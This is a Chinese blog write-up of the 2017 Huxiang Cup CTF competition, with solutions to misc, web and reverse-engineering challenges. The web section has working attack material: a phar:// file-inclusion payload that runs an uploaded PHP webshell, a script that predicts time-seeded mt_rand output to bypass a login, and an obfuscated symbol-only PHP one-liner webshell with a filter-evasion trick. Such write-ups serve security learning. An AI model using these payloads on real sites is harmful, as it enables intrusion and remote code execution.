2017年湖湘杯网络安全技能大赛Writeup

2017年 “湖湘杯”网络安全技能大赛Writeup

Misc ak,web差web400,pwn一分没有,re 两道,反正尽力了

MISC

流量分析

wireshar导出http文件发现flag.zip

P_$S5QAY5MQ397_CU7J_ICX.png

打开为rgb

KA$7~%GEBVA{$WA%]%CJLF9.png

使用脚本把rgb转换成图片

from PIL import Image
import re
x = 887 
y = 150 
image = Image.new("RGB",(x,y))
f = open('ce.txt') 
for i in range(0,x):
    for j in range(0,y):
        l = f.readline()
        r = l.split(", ")
        image.putpixel((i,j),(int(r[0]),int(r[1]),int(r[2])))
image.save('image1.jpg')

打开图片得到flag

![XSV4[KG8F9U)LY_AJ7I]0O.png

热身运动

一张gif,一个粉红色的老虎在一个国际象棋的棋盘上瞎j8动

使用Stegoslove查看每一帧记录下老虎移动的坐标

LWRRM38HM6AB9

5b 4g 2b 4b 5b 2h 3e 2b 5f 8f 1e 2b 7f 6f 1f 4g 5f 6g 1b 3g 5g 6h 2e 

百度64进制编码得到一张表,对应坐标记录数字

YCTGBg

5b 4g 2b 4b 5b 2h 3e 2b 5f 8f 1e 2b 7f 6f 1f 4g 5f 6g 1b 3g 5g 6h 2e 

25 38 49 33 25 55 44 49 29 5  60 49 13 21 61 38 29 22 57 46 30 23 52

再用数字对应base64码表

72

25 38 49 33 25 55 44 49 29 5  60 49 13 21 61 38 29 22 57 46 30 23 52
Z  m  x  h  Z  3  s  x  d  F  8  x  N  V  9  m  d  W  5  u  e  X  0
ZmxhZ3sxdF8xNV9mdW5ueX0

解最后的base64得到flag
flag{1t_15_funny}

题目Encryptor.apk

逆向apk

0Sng

得到关键代码

4Z}H

加密过程为:
j是md5以后的字符串换成字节了以后的长度
paramArrayOfByte1[i]是图片的每一个字节
用图片的每一个字节和md5字符串的第[i%j]号字节异或

因为是异或加密,解密只需要再加密一次即可得到flag

限制了加密文件必须为图片,把加密后的文件重命名为jpg放进加密机加密,得到flag图片

这是题目修改前的flag图片
18F1AD86BA11B5C9653D73180E1DC65E.jpg

这他妈的字写的什么j8玩意?

题目修改后的图片

)CAWWIBDU$2`)(T$WE0K4JM.png

misc300

题目为pkl后缀名

pkl是python的序列化文件

使用脚本读取之后是一行英文

S'The black pixels of a b/w image are at

剩下的是很多坐标,使用画图模块绘制散点图

import pickle
from PIL import Image
import matplotlib.pyplot as plt

f = open('pixels.jpg.pkl')
inf = pickle.load(f)
f.close()
print inf
print inf[0]
pic=inf[1:]
a=[]
b=[]
for i in pic:
    x=i[0]
    y=i[1]
    print x,y
    a.append(x)
    b.append(y)


plt.scatter(a,b,c = 'black',s = 1)
# plt.plot(a,b,'ko')
plt.show()

~png

把脑袋倒过来看,对

是个漫画人物

漫画名为凯文的幻虎世界,作者Bill Watterson

flag 就是作者的名字billwatterson

嗯,cnm啊这尼玛谁想得到?出题人脑子可能有坑

github原题

人家原题叫who made me ,这tm 叫misc300。。醉了

WEB

web200:

题目提示:只是一个普通的上传。
打开页面以后得到亮点提示:
a.只能上传png b.htmlentities(ucfirst($op)); op变量做过简单的处理。

打开upload页面发现http://118.190.87.135:10080/?op=upload ==> op=upload应该是文件包含。
扫描一下目录:upload.phphome.phpflag.phpshow.php加上两个目录imageuploads

上传一个png

{0Z)8U}WOM{[T(ORU6K])9G.png

页面返回URL: op=show&imagekey=cf32f1071d5f2a4b89c72df04a1b5de02dce2bf1

到这里就更加印证了是一个文件包含漏洞了
这个imagekey应该就是上传后的文件名,上传的文件应该是在uploads文件下:

SQ_E

果然,然后包含它

S5g

重新思考了一下,包含upload.php的时候,是op=upload 那么其代码应该是op=$_GET[op].’.php’;在文件中加上php的,这时候我想到phar://协议。
x.php(一句话shell)压缩成zip格式,然后再改成png格式上传到服务器,用包含结合phar协议来执行php文件:
Payload:
op=phar://./uploads/e3b413b087bd7f56d3a67d3f970a88c489b60e66.png/x

可以执行,然后读取flag.php中的内容

Payload:x=highlight_file('././flag.php');

MURTSng

web150 random

这道题是相当的坑,11点出了以后到4点左右才正常。

像这样的题,进去没什么提示,首先想到的源代码泄露,然后审计代码绕过一些的。访问.index.php.swp存在,这个是vi编辑器留下的,但是在11点-4点之间这段时间,这个里面根本没有源码,和index一样是乱码。

O.png

源码看到以后,就发现是mt_rand()伪加密,mt_srand()time()为种子进行播种,mt_rand()生成的内容是依赖于time()的。
思路:用python直接访问页面拿到pwd的值,在time()生成的时间戳变化之前提交上去,就可以绕过第一层if($pwd == $_GET[pwd]),但是这乱码是什么东东?
把源码放在本地,然后去生成、输出pwd 和 session。

ng

发现还是乱码,那可能pwd就是乱码,ok。写个脚本,让脚本先访问题目地址,处理题目地址返回页面,取出pwd的值,再访问本地页面对比pwd的值,如果相同,则把本地页面生成的pwd、session的值分别作为pwd参数和action参数的值提交上去。

Flag为:you get the flag it is hxb2017{6583be26c1403c25677c03ac7b3d1f22}

QG7SHg

脚本:

import requests,re

#re_pass = re.compile(r'<br>.+||')
url = "http://114.215.138.89:10080/"
while True:
    res = requests.get(url)
    s = res.content[29:-8]
    print s
    resloaction=requests.get("http://127.0.0.1/test.php")
    list = resloaction.content.split(' ')
    params={}
    if list[0]==s :
        params['login']=list[1]
        params['pwd']=s
        #params['login']=s
    resp = requests.get(url,params=params)
    if 'flag' in resp.content :
        print resp.content
        break;
    elif 'Wrong' in resp.content :
        print 'Wrong'
    elif 'first' in resp.content :
        print 'first'
    else :
        pass

本地页面源码

<?php
function create_password($pw_length =  10){
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++){
$randpwd .= chr(mt_rand(100, 200));
}
return $randpwd;
}
mt_srand(time());
$pwd=create_password();
echo $pwd.' ';
//echo "<br>";
echo create_password(32).rand();

web300

访问看到源码,过滤了很多字符,但是()[]=’+.;这些字符没过滤,题目又提示能getshell。这让我想起了以前在网上看到过的一个符号一句话木马。

<?php
$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;${'_'.$__}[_](${'_'.$__}[__]);
?>

但是提交被拦截

因为+在url中表示空格,而题目拦截空格。所以要把+ 进行一次URL编码,传入后会自动进行解码:
将符号一句话中的+全部用%2b替换

ng

getflag

ng

RE

简单的Android

apk文件

解压后用dex2jar把classes.dex转换成jar包

用jd-gui打开,发现代码中直接就包含了flag明文。没安装测试,直接交就过了

Y_g

RE100

发现是win,还有upx壳,用3.91版的upx -d解压成功

DPng

解压后直接运行会挂掉,ida打开,main函数就在启动函数上面几个(通过字符串提示发现main函数)

Q.png

按f5可以得到如下c代码

ng

虽然很多函数没有识别,但是不影响这些分析
发现一堆没用的代码,其实关键的就是圈中的代码而已。这里的输入才会影响后面的结果。至于判断条件,if嵌套if,似乎不可能达成这些条件,应该是程序挂掉的原因。所以,直接进入关键函数sub_401080

Xg

明显是按位异或,供44个字符,每个和x22或后等于相应的值就可以,反向计算拿到flag。但是要注意顺序,读取的行数是换了的,而且注意低存低高存高

400SKg

本来想用idc脚本把数据抠出来,然后异或就好了。但是出了点问题,会读取出特别大的数字,只能一个一个手动弄出来。按照行的顺序,每一行从右边到左边。然后写python脚本如下:

9ng

执行得到结果

1JAHng


ps:

web400差点做出来,比赛结束前7分钟改题也是牛逼,misc100直接换题,misc300偷来原题还不给题目名,misc200用一堆写的屎一样的英文来强行加难度,这出题人真的是服气

送出题人串字母啊 mmmmmmmmp!

6B0A20D7E3459F95CF6A342445184C88.png


本博客采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC BY-NC-SA 4.0) 发布.转载请注明出处
本文链接:https://ares-x.com/2017/11/26/2017年湖湘杯网络安全技能大赛Writeup/